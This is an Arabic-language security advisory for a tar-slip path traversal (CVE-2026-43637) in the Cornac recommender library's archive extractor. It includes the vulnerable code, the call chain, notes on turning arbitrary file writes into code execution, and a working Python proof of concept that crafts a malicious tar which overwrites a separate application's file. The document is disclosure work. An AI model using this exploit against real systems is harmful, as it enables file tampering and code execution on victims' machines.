
اجتياز المسار (Tar Slip) في Cornac عبر _extract_archive (CVE-2026-43637)
الخطورة: عالية، CVSS 4.0 8.8، حرجة، CVSS 3.1 9.1 (محددة من VulnCheck، الجهة المختصة بترقيم الثغرات (CNA))
المتجه (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
المتجه (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
المتأثر: cornac < 2.6.0
الإصلاح في: 2.6.0
CWE: CWE-22 (تقييد غير سليم لاسم المسار إلى دليل مقيد، 'اجتياز المسار')
أبلغ عنها: Rahul Karne وBharath Kumar Reddy Janumpally
CNA: VulnCheck
نُشرت: 15 يوليو 2026
مُحمِّلات مجموعات البيانات في Cornac تنزّل الأرشيفات وتفك ضغطها تلقائيًا، وكان برنامج فك الضغط يثق في كل مسار داخل الأرشيف.
Cornac هو إطار عمل للتعلم الآلي خاص بأنظمة التوصية. تجلب مُحمِّلات مجموعات البيانات المدمجة فيه الأرشيفات عبر الشبكة وتفك ضغطها دون أي خطوة تأكيد. يستدعي روتين فك الضغط _extract_archive() في cornac/utils/download.py الدالة archive.extractall() دون أي تحقق من مسارات الأعضاء. لذلك، فإن أي أرشيف TAR يحتوي أعضاؤه على تسلسلات ../ أو مسارات مطلقة أو إدخالات روابط رمزية (symlink) وروابط صلبة (hardlink) يكتب ملفات في مواقع عشوائية على نظام الملفات، في أي مكان يمكن للعملية الجارية الكتابة فيه، وخارج دليل التخزين المؤقت المقصود تمامًا. تجلب عدة مُحمِّلات البيانات عبر HTTP عادي، لذا يمكن لمهاجم في موقع على الشبكة استبدال أرشيف خبيث أثناء النقل ويُفك ضغطه فور استدعاء المُحمِّل.
كتابة ملفات عشوائية بمسار ومحتوى يتحكم فيه المهاجم بالكامل، لا يحدّها إلا صلاحيات العملية التي تشغّل Cornac. هذه بدائية كتابة (write primitive) وليست قراءة، لذا لا يوجد كشف مباشر للبيانات، لكن الكتابة العشوائية للملفات طريق راسخ لتنفيذ الأكواد وتعطيل الخدمة:
.py في site-packages أو ملف بدء تشغيل للقشرة أو إدخال مهمة مجدولة يؤدي إلى تشغيل كود المهاجم في المرة التالية التي يُستورد فيها الملف أو تُفتح فيها القشرة أو تُنفَّذ فيها المهمة.من المتأثر: أي استخدام لـ cornac < 2.6.0 يستدعي مُحمِّل مجموعة بيانات ينزّل ويفك ضغط أرشيف يمكن للمهاجم التحكم فيه أو اعتراضه. ولأن المُحمِّلات تفك الضغط تلقائيًا، لا يلزم أي خطوة تتجاوز استدعاء المُحمِّل المعتاد.
من غير المتأثر:
2.6.0 أو أحدث، حيث يتحقق فك الضغط من كل مسار عضو.| المقياس | القيمة | المصدر |
|---|---|---|
| إجمالي التنزيلات | 4.1 مليون | pepy.tech/projects/cornac |
| التنزيلات، آخر 30 يومًا | 67.8 ألف | pepy.tech |
| الاستخدام النموذجي | البحث والتدريس في أنظمة التوصية؛ مُحمِّلات مجموعات البيانات تجلب تلقائيًا عبر الشبكة، بعضها عبر HTTP عادي | متأصل في إطار العمل |
يستخرج _extract_archive() في cornac/utils/download.py مدخلات ZIP وTAR معًا عبر مسار برمجي واحد، وفي حالة TAR يستدعي extractall() دون أي فحص للمسار:
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
لا شيء يقيد أسماء الأعضاء، لذا فإن عضوًا اسمه ../../somewhere/file يُحل إلى خارج extract_path ويُكتب هناك.
سلسلة الاستدعاء تلقائية بالكامل ابتداءً من استدعاء المُحمِّل:
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
يعقّم zipfile في بايثون تسلسلات ../ أثناء فك الضغط، لذا فإن فرع ZIP من هذه الدالة نفسها غير قابل للاستغلال على بايثون الحديثة. لا يعقّم tarfile في بايثون مسارات الأعضاء (قبل الإصدار 3.12، وفقط مع عامل تصفية صريح بعده). ولأن Cornac يشغّل الصيغتين عبر استدعاء extractall() المتطابق نفسه، فإن فرع ZIP آمن وفرع TAR قابل للاستغلال بالكامل عبر الأسطر نفسها. من السهل تفويت هذا التباين تحديدًا لأن الكود يبدو موحدًا عبر الصيغتين.
ينزّل Cornac الملفات عبر urllib.request.urlretrieve()، دون تثبيت الشهادات (certificate pinning) ودون أي فحص لسلامة الأرشيف، وتستخدم عدة مُحمِّلات مدمجة عناوين http://. يمكن لمهاجم في موقع على الشبكة اعتراض التنزيل عبر HTTP العادي وإرجاع TAR خبيث دون اختراق الخادم المصدر، ولهذا فإن المتجه بعيد ولا يتطلب أي تفاعل من المستخدم يتجاوز استدعاء المُحمِّل.
يحتاج المهاجم إلى:
< 2.6.0.لا تتطلب أي صلاحيات على الهدف ولا أي تفاعل من المستخدم يتجاوز استدعاء المُحمِّل.
شُغِّل ما يلي على الحزمة الحقيقية غير المعدَّلة باستدعاء _extract_archive الخاص بـ Cornac مباشرةً.
الإصدار القابل للاستغلال (2.3.5). يُفك ضغط TAR يحتوي على عضو ../../ في دليل تخزين مؤقت؛ يقع العضو خارج ذلك الدليل ويستبدل ملفًا يخص تطبيقًا منفصلًا:
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))
d._extract_archive(mal, cache) # Cornac's real function, cache dir as target
النتيجة المُتحقق منها:
victim app.py BEFORE : def run(): return 'healthy'
victim app.py AFTER : raise ImportError('victim destroyed by tar slip')
benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True
كتب العضو غير المؤذي داخل التخزين المؤقت كما هو متوقع؛ وكتب العضو ../../ في دليل التطبيق المنفصل، ويُفشل الآن استيراد ذلك التطبيق.
عرض الهجوم الكامل. يشغّل poc_exploit.py في هذا المستودع السلسلة الكاملة من البداية إلى النهاية: خادم HTTP خاص بالمهاجم يسلّم أرشيف TAR الخبيث، ومُحمِّل يحاكي سلسلة استدعاء cache() مع _extract_archive() في Cornac ينزّله ويفك ضغطه تلقائيًا من استدعاء واحد لـ load_feedback()، ويُستبدل ملفان في دليل تطبيق منفصل. يُستخدم _extract_archive() القابل للاستغلال كما هو حرفيًا من مصدر Cornac.
الإصدار المُصلَح (2.6.0). يُرفض أرشيف الاجتياز نفسه قبل كتابة أي شيء: